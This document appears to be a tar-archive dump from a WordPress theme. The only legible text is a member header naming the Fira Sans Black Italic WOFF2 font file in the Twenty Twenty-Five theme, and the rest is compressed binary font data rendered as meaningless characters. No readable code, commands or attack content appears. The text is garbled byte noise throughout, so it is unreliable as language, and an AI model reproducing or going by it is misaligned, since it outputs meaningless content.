FP#&3uD7#BlcFDVDDƚΈs"L$ON<:"B zJJNg8&Ԑw}k.GPhG8&\h8;;:pVnqbmXnK{JJR綕Zք ΠO*IW'ivx]oaN?_F9(kz9{ꍂl1WB`NIXSs:iP5Ρ-{XUpOE]PAUHFtNֈ 1URSbƢWw4)QWIYIH$P$& Z |;O~y5bM6`Z*+zXm=B-m!| /m{DJi*?ˊG{{<}AqGH,=OB%Aۻ ɞ2Ix" tn=϶ODD6ۓh뵙[]]yLjt} {d gEo{(ܤ~k {֗F c8)E.,7@:UƤf'1]OqҸbg{dN+^bD+~id: #8hgY^e/}d4 ;d%r#wD=BhO>r&݃ ߇qKͰTs^`6?]tJCn\r/W?i \/"Y9?H|H7as$d;{Dp[ƫzsNj[x&?Z32BXn)zԭ:FgIL@I:CE^` u,%hg>j!C@T ~^K**c#:^S1 qQ(ou.|o H%D=\/}e-V fL==}mgwu!!U cRO=:χbM^J- ݱA޳r*;BkL;aA O]xOUOfh0fnPmHn{֛~47ANjG~Ϲ畹]W۽x˾皾t6Yݧ}5j]\!themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2000064400000504060152335264760022663 0ustar00wOF20 ?FFTMd*6`^0  L' X6$T ,@ U[!pۛz8f}$: NBp.B"ЖЋR@Jcm <'(Zu<%1 )5Zƨ@04>*=\6s8C!oG&ym{:}}ofo޼7F~oQ J2@>ffeFYA(BY =JHAC*UU*U;:G6[2ZcQJ exegDaL޲L4.bOQe+dj:)VJ*)s~MG|O[⥮ClV7e|fnI 12jc 3a,Y3ΔI|r,)d>I7& Hns*lWg%ߺJ~"! vÙA$1]2޻2=bQ٧N6KvUTU;$,6s$n&^<(E_j鑃 C z腈BĹÄ.ʭzNfQM¼38wsӛ,߅=twKs$~,Gv!=qoExhr཮ {Cw%f /y͐sDQYpˋζDyQ_h$@^/W :z8nbd-#~GWn.fffX IHB2cAs=g]pk;ky2wFFFF4:O9r3s! IH]XTUעsHĄdhǞEUUU71HB2s߃$(r\333s |^H<<333s ϣj5GUUM P`llQUUu$$Cየr\vTUU4$$CK(y;nB_)|ti333YОZYR頝]NX? t3̊bfff /IlƍFQUUA2o@4qpTUUAl kLМl&k=OYHFͷMGUU)$C9H嬻6z7"_ tCJT Z'a2t~b +k?tJcCS?Z;Tv psW$6뭪4xE] rrB7 uK.UVw8 &/d[N!bnϝ?J_f'*=K)c42G#{!D\ߋ/=_؛Pp̞`b4bz?G4*+;LD\!^\ Ad|d>2 %c@vּTKivĽۈi\͠GGJ&+MWN@qO{1 LB4N^MND ivcl=hLom}nRJ):c!S"" NiUsNݗ9p"Ж9\ÿN:f=;Xq& fI8(?^ j(϶#?}'hpL #ڬv8M =g٬d$#HF#}) L}),yw.lbFko䔟;UJ)ຌZ˭5+PQ6|ӕ=zٔg`ynu|'vd?T@..,/=x Noȏ9Vc}U9+4#***ݏoCmZcIIS1YLM^$: ~ij2%̣Sb&Jo,ךRLCD`mJGpqpyW\pwTK+X=]Ymn󌅊.Uȟsk. 7%$Hb -RLـQ ]!`W|sͬ{+ XJ0oLO>n;$B|$j=;#"}kf{!}kB#.ʫDB{et d/ Gk_)|>4=YZh)mEL$_=_R ,Ζ:`7VS^(߫>DRR%BIۢE(tz|,ӡSiQdQLNχtZ f$FĖ-r>oYdpp`Wt%dS@ p/ir xR$ϒIT*ܔJ?}ZQO$IGQMS4E'yU"Tq-YQ0 b_MΊNW,DN4C FK}XdT fֻ\$!$EXE&𻹧(Z"s`o2 FRREQEQ5>?>GDX: P|PrHM;\.:9p֢SE)%so5"f2 qRֆ{&HZ[ŭF_!)YJI)T*2M\/X6nZu] a0AH+MpI3S;oEaRriy<(f %̉m 0 JhPX)@]s)hiAӀABw1bdՕNp(j(K%i$I$Fq)/25RQJld&3$Iw&:#J$IwI4DNoEQhT2RM&,3ɂpv7DQtpbQ4NQ\,-L&$]3#trBEUO!-4M'tכL$O@E3eϵ.1an^)RilNC}GYRJ۹~DɒEQ,JOzWnl$I$ w/$>d2 Qб\G(GQGUPsz؉(&\0LZ<====N"B"3LF#쀍5&6u0ri^2Bu4(.by=DQEhյW sINDv,Rp?wEME+S4) szf3*S#R77䇒Җu_ڝ!c<qc1@Pg3(dq'i8 YS(E XA9 1cE4+56ݹ^3R@Cw{ (B(5BhCm!Q/ϴr5CJgfRwRCH"i||WH_ AO5 o_Aи% h%+ ]&B\b\>!xVƸ$U W+Hg Re1^Gd=>AwhV@`'2IfU{P4}(U2F3CZc3+gR9>nw]stF.(kP(4q=(S(TI(Y\#\cCE"fTC+n_h:$ T~ϖ²ݦ"˴4ߙi!)+ qQƝfvJ0簔뽓/B]tHI8SJꪶDf9v?Uu߷YV߸f7?Oվ.B-{5Ɔ1 3>>_ ШR {3UՀ@F64dtEO1K1fKCBX<<Y-KMxp`q^Fi"Ô! 4UiҋBXBD:;ȟ-V}ؤHFAﮯ,E% Z(D1s&L&䍙1FURϡ,Km ?_2l "w~ßIhjUX"""""F1r і^g^4A$ ""Daю5!HADEĮi!&( K2nS4ӑ{f晙8+:HrS,aCpi]I!D~jU c1վ.gTՉ# u/=@⳵ $55R3pKw&ۜJ[+=[)x( MI<^k6vtfSUaZΩg~d6St[XP @iv|yr}rUFUUDDTۯ~]cV aH=2bl.!r]% 5UfsA,۹P) $պ~5T9@sJk<O~v`9OsxDa~Ȃ,lHF ը(+ _Y 9\E#6a2ܰ͜ys6ڂ)[8MUYvvw݈[8$R$g6> Ln+a_eaZA$`9g!1 )[r Wb)XlZs"Ml!"dji,Vr%<'?>xc60nS8`E7 ^W 4ٱ0 8(Gu+7\2}:|փi[Wo5e, eĝ`abKflPi9ZnZxlj<{s<"r5vN6Z8emcì+fur{бæ>cMc?gjw{>o<1L1Tq|t/P`A|> ˇp)ց񁩁ف6 l.K`BkAhڢcWQ 4{^chBРZNH:i, -9z2pzJ eȔob&bZZ;s)\s#/󅟴 B!H # == ;;?t>DŁܲ\hvȟ'ESam(9 /Y.SjJߝ7a8y-z՞dt jIҝm!Bx7EL9Mfל/] ?S,ZEYMՄ\q!6X@bq\ m=@bQyPu4Lr:.BIB2f+i09b`hO'Ȥk89KIbR7y,$ 9.n;vLRu܂Gys k+c/7&lV[nUIQ& 9}Jqۘߵ/Ɠ̛/fzs_2Ii:*ʪn7>f*%pʰhe-݄rq)DEA@! a`E   3Z:zF&  $ "LafaEZVHU G Qh &ĔT1,D0"Ċ'n g^yH.v'H*ugȘ#gyXFk&TW^Q٬y%+T T5:ZlZzFffF۲3d'7yOA S"T&K=,rL2CVZFq \qϼD:ۧz}~LRic ˖7@~$Y6{qnTI=qWڑykpshpXYjXINd}3ixd[Qk5Z-VQQQq-2R#Nt9?KUZ㖯B*ƺ' JfoVWTM7LvuvxƟ1cG/`q\|~?7>O'_x)ǝe玑 gAk-+褏3TTYɦf- %$w>_l2&!^} N`usig,1ũm e6X˹ lӇJK*^U*ɣ\6*_J\J Ţb3uGғUEv0?8M=̀&{ PpO@ίq;SI9*Ĺ!%8gfkJr븑Wx|Z#OQ;RW]0dtDI"5c+)|gE (Q5r $wXq!D>դˎ5zqGNwMFz&;BJ1$%H[ (cuN5Dm=%l0<Ј Q@QP:¡ 'l)JPi@LsfK]s\[O`V!/1y|/ƚCC0pDHJMR0Db4~,bvQ=d _0BJ5 lZF܄hUw\`n]tz讗{1x5&ɷbkȷ2a蚛&+`\EDu1(JRkl@ȩQ{!rG{8wGpGr'zzOPp'(T}D-e1q ToҼ J a.k)3^BT uaa6 .OSRt a)U hv!5C,j豓Ü5ZT:!EKP7 r*&/ AVT$Tt,L8]n43vH|(Vn6oBE(T@a&;E̒#e;_JTTqO̸ hr],Xx;GXlTi1II&y ئ,Iڡ*ApnTAsحk3 )=<7Ct]L[4JwrM,+f$>bP~MH"IqxC37MPdѤ/&Dc!fҠ3Df1->v#MA=GqIZ.G5+P\E?#uhJDڎ; WT5R{n4%$&䑏Hngm^Fy\Ç ($!X.~T9ox2Ht*̤q0o'qZ"cx 2Xx&q3  ʭ'2 MGDt@ufd[e/+n`Gȗ3ibX-"t%AFy$ rYT7dru dT)v,2 B[X1uza\ q[W<~Խyѹ $ e\EYME$Qu%W\u WRH+*jh "D*S <7?hcic{Lj    ARfX$hE „2B4b8AR4 H,ds|<@bQsETSz}/WkFt{EY՝nkEYMja3#cb iӄ)-q Ok 1kqρN988}Wo:8<:>9=w}0e52>|7>||'*MLJNIMCKbQVn. eM]bʥ()nڎ iَB*m #h,1 )a9@paBLf* Xp4Hl7/O$SL6pJZ41cÉ@,Sj&)Vo4[.AdE|6R7($E3, K80C5[XT\RZFVnմlwa9֛4/ςԇ W^8˺X"ite; B*mԻ ARfX$hE „2@40215gX&.0I "L(Dn̰``ljGa dÇ#A @И8Bc8Ia<#3+;'/HP!yyFt{U&W(Ujy44է_/z~SeյulX֛n?Ӽ.u?Ӽn.2WV iӄ)-q KВBBãWHk}B*mZzJEJzQ_?YtôlTqg}!6y]T~o޾ (T7m2VuӦ1R[OW7m)NBLS.2ֹi?o|~w?o6yϻ̵}c>042:>=7c}>s\. /ItbY3'! )a9liP֪C}QZݸ{??~}aieu}{oy\|7u?J$;.˪e;'Ҏk< SN4LKَi”TXeٱgᄉ8Lf?Ӽ\7~yY} Q$mZNW8BLiKWS.uY/b(]QYU]S?MsJmk{zbZo[:8yw0-7z?0Nns֘;w޳wq6_,Wvilݺi^m77+۰i˶7-,L6vdA9ݝutUW(54uRiӲS)!A[kM]?݆ < Y>&@ <}ex '~œW[ ʞf|D  gm$r1H-.0RW<*S18Hc9ĴxX(JȁCq2j(V>@ȏeSQl/5IG& tU>d:L 2T++QHcd[JUuFbr%L]1`"$SxNPC^+W"! IjMHr LD}hun8q0](`h`<;t""1ߒ^D~R͢g꺻H,:\֭S浒 2i*')(b4`@eONd:o:oMC$x26y2`М ׃L24xϤBfu԰0ICj1NdS8l9Ya, e*)@FDYdb>/pG As-7x-G=$Bb_䟀z+ w> S+&LZ`DYB-B]fOd2&*" A(`#c4 3L`b8`0ʄK]/ׄX S>+ňfÃ&"% yJ  WEÙP/go~kQctqVҴ/d~zuD_VشJ'њd4C=IDDNFZH EXZj4;}^(eLU/>Q}1rA1cZt(pm&B'i.76. CS=/&DœMn .+V?`(_Uæazs/vFQA#ahg" )~d*>~bʸJy{zXIhc $E\X&9} n#=eoz>.]O៉?O<}d*03$04\""0Bc8<"(0@BfX"L( 5AAqf8@IfXaB'rv=slX֛ny]v~yYD`py| B4r !E3,x&q0@D@BAEgX&.0I "L(4Da9\a a%DP!glD`py$h0@BfX"L(R0!C . Cb$*̓!4O$S,`xTH;1aB\5mN_5:bs &hK539bs<>A2,4aJv\B*mrB*m<^RiӲTX-H ̘832Ñ G QhLD1X !,OyGPhDt\bJzVn9Brɛ/=|brjzfvn a x1 )Dhx&qԅWwJt[XR^U_^YkhjikhjiꩻqXvJ/:o\<| Da Gy&qH/ EqD ec瀸yxx"JgS20qW )5zZ7 Jj>3UDi\TkuEYM!ܴ})ںl&ahx f8D%EQ#2 1Is T:QL3\>8IĔKm]6*hڝn?ĢRݴ]XM>ĔKm==5I0JҼ1岪CLDEFt{8BLiKWS.u٠tjw~EYi,6u})zezX2/U^,bha'i֫cyӏdη?_t=wx}#e;+nX-f}nY={@YAHB1q I)iyDhx&q"8ċ? #(4\ӝ|Ͽ3$gu.5 ? (8$4  $*m,9H,jc2, Ǐ?Ͱ „2ND@&qFg0YlLJ`WƢC\xXgz|91lFLt X<:O{kwx%4˿TyAUe}*[8U$ڝ]JgtA8#\鿒GbPӤp2^9kSq-T/^0IfO!#s@Gaz/9gN\ư +s?>QowMdާ;&=21W0P1 Љ?L%H]hl@3iJ#Qv`_$Fܞ.y=X_ 7ve̔2SELS.}{pQ,si.*@FH0)hw~P ~ߋ;aTv .T3zEhfT?ޝ79cLP8D8i.Zlؗ|,NMBY\L?+_lQ\Xw'Z š +7周׈jSU-`r}N{I蝘mVNku^G#WM_pboߋ yT\X_*4brJS#rTovoF{#?U(ujSIzxou[rH_-u\&Bk>+;+m6{zv?H=fY~ݏJSk=Ox `l|`ƙ i[l&=nۯZ gvlԟU _yov߰kM0D,^'F>ieʌjҒrS.jIM5h]7/Uȼӌæ#u읽?o2N֓;+V(,14c;?w_Tu~IH4^SW0ݍglCwvC%_1Aʝ?K?~gW|!RN "L(AD`&qpyx1@BfX"L(4b"( #8(B0`qx`pc"L($ a%DPXHrS4bs<>bbs<~)zglZZ;zԨP֣+&!WTV*KJ N2 t{ݺ練/}ghc3,6ˣ]DPL )a0W9\Bp ^ )bs<>AR4r<[DdT%S%9m)PFNAIEMSNAIEMCKG G enrǼ=gl|7;GT:%%;ohdbjnimcgϾJ/:J 9AR4bs|hpy|@bQsj$5'HfX'HfXl$5GQVHE5ZAdEGWDIVN/J$ Ϋ54utEb\huz!6yU1R[OIK˗? eM]bʥ:7x ?z}ճghNHudyx9|B*ƳJ<@fr!6yx}|5aJv\B*m{:e;>aZx}~ôl|7U4ĔKmo2[.rUCLVBiSׇrstҦ, JJ+k1岪CLk ((+*FkhjiѫO?(;lfr!6yx}|5aJv\B*mUxDf!&i.a'9i^Fq2d~MkYu\u[YK)WRj5^>~_e8'`հOԾu{o hӡnz襏~(i* 㼝U1k""cbŎ7^!\jXZ)ںBRkijCLiKWS.u6Qw1>흽}q~c};{/.on?u?r>E]m}SK{_+Zݺ6ٞ/,54u54ut8,xuckg}{mwv޳wew7F;1uqpBn?oc}{cE_,76wٵ{}EͭTRGVe;.7Lv\珬{ôlx}~ôlx}VtKm^-ʪnzz۾fEYMmfk~*-=#3+;'7/?SL6ss߷$ H,jJgdfeGD*+;'7/Xs}n:xv~qyu}sͭw޻Y={zĢI & Ej$5'HfX'HfXl$5GNڴv}Ll  Gč CȨظS.Z# „21 )a9d9\^>~&q X5,ǣL>c0 $ Nj+r0y&Vm;tڣ05v)ھ$TX祦e;;./:OTzdaZz>aZr{>d}+4h,(< xHE͵F4ĔKm=fyQVuv}jw=}!\j벹EQh L,l\<|@aaccE  )a9\XJ:z0-t=^aZz>d^A9}ۏ_7~?K|IL\o (;  Qh t2({bljO FEĆA9mBjaZe;.GVއDP!$E3, KI0CFDP$H ˹yxǯ?"L(L'Ś Z cLTm{@ "d0`a'i֫KN|~)V5O~Os3,g;''HfXFzw__p /?ǙPIQurTjjչV]*U^EUUC-&y9v/ԧ)-in>8IB2(PBf7Lv\Om=zPi 7/d}C4pheX&.1,@6aBB*mR ӲMͭmlTX穣B*mBlRR2rΓ7_~!6yDd*fAINnbvNnyAIi"i)zظS.u٨t)zEYiֶ^?ĔKm==42V ӲqTxpDOHu޶jm?~OJNMss߷ۏy׺5{y\wr5mhڝn[U}]vE&˫"US#)~{&k!lːh8yK6@DSfTg_{JcCBD/dy"&l&`$@X _2\;{"vw~{-5my8_QyiXyԐ8S|dpeu>|+<_o!hOI:#ho/ |ubfLޡ5VNDҊFā Aqk{#mB_<+VqLxD˚oH]f=כγJNTe-+>+~)kC*5f 2-lZڬpWio;,d_:(X%u/ċ\Zdfnga{ʴFij*"5v*e@v YbΠ"^9YIWS-U!ۂPTA$N=H}YRqtA=ވVD^+{Xe%\Hf#–[5+@`jb-KCR{eރ2LESZcy-JTQTph嵤#{~ż BӍ4GMTp,OpY7 3qKMMv7Je&V\%>Sf;5r*+5m)ܮGnoŮg0m^"Satٯog-}e:?"DL? ݏ}B"Տ6J)8_\DDUe `p|ԫL<ePyPJ FiB0V)g*V9Հ?yd y8yhqOJYd)PLAB-OuVz!RmQNy$zy),УA{yAξlݓ;vJQFRlzFsHw7 FޣD@Z 㘺^pq]D"[{QSVHtD6݇$_\op~+l"Pvx Xi؇/[\]_f_ 7 J1t0{H*4Z<`.jNaIbzi>_!o?%e7_<^='+ vtz 70Z.ںb\ೢzCU@3Hk\~VB_t1_*tݵޔuT#zHU./L/F-n7z:D3T T ܃`={@c:,糂]JyatR1q%*AFxУ E-`?Uӿ?1$/R9Kk?QVmxʹ4Q~*uM-~%Q 2j!K>~!# ~S=o}E2ϵ mȫr$۬Յ{6tsvdXEy? :||K1E(lUe.~DC\˃iɧn!|Ҷ6`ȡqttIï}Uum+r~P~xf1čC*SMey}P|^GNv?ӰQӍ9#\1LTmw;'(|Mim _ _..g11@N,.HpD=ҮиP۰2"丼HTzY؞]okɍy?U͟=/l%Ж\O}-z ^/?VڒQVQ~`/62zt?n#BA\q63"9nkkBc8U+첕|ǐnJ#J{@lcEOcў#:6T5??Gz٦k%w5_8qyW+ɆKN`ǡeu}T[g*–gU ۑ)FE$&d]A|TD|P vĂR/-`(4(g &^s"l64dTcV?m}*ڿT5jL} ة#`(*U hz. [`@<ys$\|E5.5]_ooՏn9[EȾԟo2(*쑥Dգ0TэXȀlF;⧖4kߛ$S98= RL_?P'7C7$s;2waç6z[4ー!;=yQD 6T#^hMBQ5LѡU\04 7湚}X p$V8 3dWUUQv^PuAg=ͩGsa/ Оƹ}:xPS,  H0ڑs񥮦jIOhP:PyCC~HmI:7`F竩s3y+}q&#m2E:U3 =A-ROJWǴ$oI&1^<]!6?뿵6C"ʁ#p頻y-S^XSn !79Dwȵ`]c\j7^w*Οʃ7BH*^2ԣ:<1W{i,oW7L#ʳBcNRA~nZYݙQۍA'D5 `\Wd詸6k³FPjvo泏u5:<BE,e?/p(ȼgo#^2D+a30- 34QJ5l_BbmH!l^1iCΕ6H`&{#GKʧO"?T V˞bDc8zHE1dZmic:E}P=P4㈙'|AMO&UT>UPmC]U!F~)+pgbMos8,tȺA5m)} 4^4vn,~[""*XBÜ!gq76v}m]Hˢ}8:et7€?58o7,џIΩz|.!nChjip-*@bߘ y_]j7SjY;4ψHjqj)SQ UNe1pL7yx[/b|ȹN8 -ѝΠf`S9K\2ECS8%rWH#TO=Eͭ[EW[Xӻqʻ!W$() @'*l:d9o:&N_\?UieW>|KK/uyL|4GqmV^K? ;";]@gj~Krš]>$tt Kʌ#5Vé{1* a`zc k*秭ؙTR'ظ_LR&T=Wja#ęϧiJr~3Q?-{4!AXx }]zy8| |O'AAAAC<@  @UUUUUUUUX?1WHMֱmXŠ=w8Ԡn^Sk[m<+{'%>!/Ox3ڮ*s[/N+t'{iԢǽo,.4jJ:i^^ط(o5.e/SsEů)Rr!H$D"H$D"H$D"ǝxxxxxz3 }DD ?Dlj)#3} aWc*@ 6#p$ɀQ')NyoyRU@ܴ3kd%iOj4&4dԴ9[,bi|H,- @%5bRc`RPQq 0h$d=BMm]c? (bRJ+ T@#M4A.Kq{ܚmvnv{DIVB8b!Q?0@$Y<[RkXdi ׳ʚV9UcM[ƈG@suϣ7500Hb8i.7JܦТ!r7N[*o? .}/K$W:azMUw;~;gJ7oXrM [^ڿ}ۙ̇dVXWýH&VGif&|(9HNZ`=qpw3!+},yGthVaq^IB!2c]ʻ';=%Z7r <8yij)0-BF΃'/|lNsfOŧ<|b)_|Rwx(/fwoXc`baXJY 30nܪ] jɚɝ!1*UCOvٵy]U#m]=}Pdhdlڴsl=zQ͡ -8V_|]鼡ݢ+SR ;fdQ}*Qr@Z +wr6Ki")n9zNi+? TЌܖʉi&pb0}j)K!;^c[uцH2)Api(kjӞj DjNVnhITޟPyoowQ]6{XCi{ * s{B+&.C=g?<,ZSFINAw/~E_[v7w ^G|jǑGͰ<6-XhZsUA$=P)$z[K^w u0[U {)j?M-v uo@]!'{IREt^zժZ$EWU|Az P;ѹ(j3n#m&y7 ًqnwpAoR uC7LnzSWY"AVaB݄Oɻw1w~;zV|>ipzdjmHJ⚓|CK(_!]DZD1 l L q{7q|ס@e?_ˌ7sїTu]Y\=-ws{!(X8:DNKjBHY('~6 MP49yyHs:)O8r@;Hju"S@s{}!)F ga2D4ݛji2yGډ:MTYE)0jXJ 0#ծPdoU<Ƭ>{I1 ^? 1/}^ژ!ܝ_R#iiH“B} 6\MTjWAW4(˧y%hEfˮVRDAu].T/F.Tܪ E HQNA|~Y0#YAlA~# lQx8@ G gOqgypPnf1(\HkÈah*<|{8z:ֳ<e-P6mPePuzi:GiF' kTU ů;ʷCϨ)!vH:>yR _㦝G܈wDTc$~nY:6Jد@L@s={hޕve eɎ*meۻ0OBXa}Be\a"o!'mGurx (=O#"9-s5a3޾⾘].]_Z$4x AVI.UfaC#n!B6St={d(]\Ɛ@`݋857onmXT̼:ke#DP+ i|h;ym\x4%;C!+Pdgֺ,W+FY/% /~ȼ"xˠ9ɬ\ rdB YHa"Mw_ K$ &cmc:vq:iزస^__*%%/[bzaprrx'ƓK +3VY$޷&omHc+7iJ<ѐ9OLgGpWbK%^nL ELigz-,a&U%=HR1Ӭ wK[ziAGbYHnS$טFbiǒh$6 , mv4dsXdeȂ|0zp:^huHv 1vJ7.P4 ?^L@ȠL(/}s78 oNdy LgrB¥+u>@I"Tq՝{+ʽS7*/U؏_+`>p  $i4 g,yI0B))"XD!%;ȃm@Ӡa2EBpPMhII:d f;]?^VC!r 8#@v \cfLXe9 z|@>!_oN@A90bIA`퓠}xϘߺSꝠ{O}~[ZF?z|xj"BSF)UJ&Ph ) DɥH!UT%ŷ$NGQ? DJDz,I溜 eI%IBE<.W~TRInH!GBCT"jKaTEn"#u6_WHe)양CzK oYXkRz tUsYz-c?Q~d壄H h<M A(S~,+,k-rFܹ=aajfa8T"GX*57j~aB&cMŚ"rKk+[k```5:Tֺغ^{W)Qt0gq6N#3 +;'7O/T;}y`V!}d? $C*I}$?Iޅa81Qkc.>+J70~[B=NN,̢Z}CSٕ0_Qޛ|B[|}OI_T~S~,~ECJZϙ xF {GWU|ZwІ v# 3L,`$ OBR\}K7Ҳ˹?[%$*Wqz #оx8?7[ sKΣ$ E:%o ;8#a:IAF?ՠVt1Vĸ*AmMOA#h+BF̐ri"B=[c`Jү 8d3pb޲^GGW!t|[(Rufmzt!̥\Z At_"9)9Ȫ$z͇])IHf%]j7Q[ӜDvƏ D}ok]:GS[io\T0T7 K{HğI\LiVcnMc@80D#TJYXs#@hzGs&7-41õj̷:sY=C& \!+b b`ؒKiyHME/$\sb+I 8soĭS+2Z탕u,@d|dC*Yz D-i*{VVɑ A "Ye+$AkL* Y h,PpPbOۘ0BuW^ 9 IxACv3Й4Eg $#NF1:  2?܏~hZك2X)c @,cFճPsiL@h۳Jy ,l-)׮w! Թ{ ͟Q>]Iݝ_wm]8m:4`O7vwo A@W),> 1̛~GSUxH}UT`;D_U.dpEň| heSWu0pqz1 Ti 2X )? ~Gb?~cK5hjw+n7UAJXF/P gyH˝ ) u>Uhd4M~;BYħJRAE?iA2Tѵ_BQ. !)heBZX1 [)dK n Zy>Hϡ JS8V?n l)>>aG. 5LgH'4ך)HyEi~l^zZ[M<)b>V{7+ς\e +OQ8] ^Vˌvs]?_Qpi(L_RO }ʓ"?=t'Am:1cٷ^+p(&_Rw B'7U=6RS}.f+1?ۃN-ٳ&vH/`pl C8FkP^@B)"a"B\DDH$D_(\G%:݌>evsUx"N$6dθC$UKQZ|"{ aK@* ~j8DjزP" JRA*<lkՠuZ 2 2-r> ȌxȜs 2&jVU=p̋2A dAd9A dAVd,Y5AV-dCV#d5CF:CV+dAo Y 頟JN#Κ*tӷ/x2FA1 Mpof$G zHp; Q|# H8@+ z .M+֬1^dФSeV9sUsp[VB`cŬM(I]b*;&b+@?:i fph #3T)S ҈:T*1&f;4Vt7&RwZlfc]Uրis&0-*bҾwaGm:&8S4<.2:n6>19^G mͮ EVXp4ea45"dvOh2i8d10`?tyd| _-P3啔y7EX_7FjqʬOKL%V{r,C,XA=HK#PQ,]RV-M52V1 ɸkUͲU.*m*VSgJ+cձګ٪Y&mzPawDc3owp:*VRg9W^P|JkK+u]{shOewUvO͸iOՊZ\^hIh:[3[xp+0i4 G?,)\'ALp\,9_2 ʠ ]텥 VdẐ0eĦMZ_=~jet&P#` ;`4 5†86:*[wJloU&ʰ¬i 5T5vҝZw5S)DZxG K1bluXJz%,=&-/cy7vK 1J+gdI<$gEJp]ʔNN0(PL4V9prkL| ^w%Q+@L|l[:+n;">:.C'톌s[ ǥqA H㒘 ,*{X%|/f}Ƅү~;SR(_4>ҚKz-i8`$= ɅC8&9dJԩ<Ƈ.I@ Dtd$X+f(VPҡXIIV&aff5C3H͒F4/fp L$'U$ #Qf!Jp ]jnSiôQZngi;Y:A,tl;Gycec8t $0C1 ",aXU <% xo|u؀ϓrҵ 1 %rp'H@xpȐOPR?:mƌ >W}eί^:A=L?>N1v1l1 ٿc K'Po'ft8t[y+Y~@4oUu`W*Ye#,f'r魶QӨ_q6C;^#a Z@RE8ϛ805|!1 ŖVvv.'~QIBWءk hV~nL3{`i|U{=jVbwy@p{N41Z>}:B qeF&jS E7t-v@(T0 a~uKe:PQ讙V0tk#R]ٝӥ^t7$LnW 'a>piڭ˩bRR xO  ̒ XKOhԾqΥR3[}rud+yC=)ශ\$ hJƕkv݃TmRA7@ Tm iX, 3yuo}-"i膼;wi%;yVT>s%qыwxz!("y+!xe|8gN3 ))~~H#;2s,4`A14tyD-pJqiF:/ɼNѓF[[9"J j+]N^Ws? nW";F̒Ms^ $M̯"_s]d#C:^}0n)$g;/8RLC$eͦZV ..{Nn!I!f@PHkm`)]ﴂ+Iv5ƛOa s##4KnmEק)%o<R',m 9Vꖐl7y+}k0ߡ}ydAg'Uj W!]٥Y6땨CÑ3J2 Zlej2)Pˋi٠6|*S'-G08؞\K|ӴI4}@ tGr'z;&;"f?gᠶ;\>F+]JOb'Rr lgL6mdVܥ15<-+נ,]oWFڼRL9ՓnLq֑Ju-<[zCi5!XEz}0Ϩ}ȔSɁ>? 6ɬ+umH81ƕ`1n:̘UnAJxK< z`:C5t !t'>84DLvR 9rΙ3L)SSS,i0 e+}稍ᡝJG D$F С^.h|j %"y(BEiUR$%CCȵsBhDh9r.'*FŹRo$[ʒFtKf4F3`y8@р J@C>EyC/7=B?@:g홨Q,^u ztË` A; k7tV1@'28$ZM Woh;p\ zA}ܴ COTZ^zߎZ{7y[ħSU7[v~?C8|(:):PYAٖ4ی Vºn9l :{>x U4 r1"'wעq7q{UY%C&EFFLƋ{0dPp|$>gϥOz$e^ e*%Gd|XhX8XXW|EQE1u\2L&Sd2̸jWmݪM[]3> +3i' l(/n?y !s~uGR)Ԓ"(IXWJ1]aB7"cee@Y\ƈ[;\qTUty>D(-fAk*0$Q&!<">y#J6Q:mзTBYpr^F{:;v݉0ˤ Mv+ymَ'b'oc @}[pٙb؅7oqyґN"#gwsX@5G׭RHDBjZ:zF&. DBL J3s +Ҳ @DYBd*”QQb aQ1q Iy% bdbf11jf -JA: omvÎ+A*ZMO$35 y. A1PSȢ.J,R7|_p3|#z#>_+bd)Cq8K>xcs|N߰'`NNMq~3PT* EBš{%ZLJSZd)Ҥ5Iy*Tع~=f0jLנQ\v:uqUepɏjY29چFڣYGDF'$&%ɛ/jL\|bRrJjzFVv^~F,,_/)Dcl._(ʕR @DYBd*Ԗ<%{F>bI&KO*z^Hi)Rv(XOE44?. I)iNG`7JT-zXċ aNv.'Ux $LpÌ/퐄Ҳ%K=23)BQU: P\TYԨKBKz ol hLt86Â2 ߰V yfb>g{N#gR kd3˳0s@LcA} >v,*ShѐveD.'L1l5#EJU ݹF*HV11 JW?C7TgцL\hBC3')Jg<2xBU :t%)vO}'ړQ> )QtNy w'pE*`T('v2+ lw-y]QՋE{X# ,S΋/vі=mC1h8Di$% 2#ڑIUJ~ww;6 `.SD=96fJY]"ZûBgf6T@غE]*iJdB<ͣEp`!1\9} ͛VF˄X.zc#̲P}TBld0tJ25ڹ\P[) rቂ4mI属8ƯpdN?.؂u`OUl.lHe7=o+뢻cV|ס=QI-?iƪc]dMW'jyudK +^=DɳWhkЪdMsD] {Z`ZYU)x{hkjtT8B*y3WI˴5_Fy˛$ m/}T.4prG|D8u88GF>IW>w?ӞK@ U8%-R>uNHuA+Rݳ+%BPܠ WPdH{%ǽW+iZi͒|[ e;[ictβתťV [rv\{6`;w|] zw]^Їa_-e?Ӂ?oKwls[uqex.H @EB Jy[C\ Xs<`s\Y8Ö 'D0phz;Ve ׉&xLx.yynQË\E ippmjkKdlj#: : t"p;LJK]J+I܀ZDܐgoMSg!ߝ:`nGt̽;}]!ylbN] `/{˿Z\2Kf}xR`N $ D9l8eQ&#x;I`J$!q;+abҗ.zPuKWH+94$ZC s*vX#Wx#Hx#-ȽH3:N]ʼn? o؉|8AQ=F ј7ZsG^dm;coK(k>$kk}FSg  oC?1b4<=v88䊋pAc4 Pȝh39nkYD,HbH7#>iMဲ9GV$TæXDvզشppkډM&ӍdIflzai96nT88 QMo A2r6w#`㈜l(&덨l&Yo z#gf߇jķ `Abl6oz^d [m kULgՖ\mbZ-;ZYn\ٶnڷ6ٶJs@Y5-8oܶMQbߠ1hII(˝;%wX"h&1nB(&7n&=M?~b%,Lx=@ OxbTd"ȂKJD>88繉Y.Y21&]Sw$(yvfrDͦ0/ [YMZ7Ez~OT(4֤mpvRu!dha͇Jjpe4 -4"YKW("Y HW/8@ yevUhKdd!*e#&\2aٰ #{ױݿ~OwȔ00%SQ)ɠ4 >L Vw XFu9 =\}CNTM> $;%7~U* Aܼ"kkg[9Z9L1rnSY}OZfba:hU&j%մXp] t.19$@ݬ͎LDqG,]z;FdݼC 恮}y@MCdҠVb:ZZB\ռG>8GR م11L"ǿSP3_SܘX#%fn?gIJpْ?U n MUg:v,Dsv1J2z88K Dc5;5:%nL1Y]vƟ))]>d^*2d ?-Bf}VM-J|'NSq VI)9G&?g)t}vʸ8N{BKB #A;%@Hbr晏 x9%; ;hEx_9VEu:wSlp ɠ Dg)xԥ+ ΠP g{N dE%JkSnMRyw;\Z~I`3͑y"Q}jokQ$¦"V%Uj郱iFb޲F.c1܆kUV(RS fm.th"S˭k˚Xk><] {>ҍV[]ޠr:< Q7 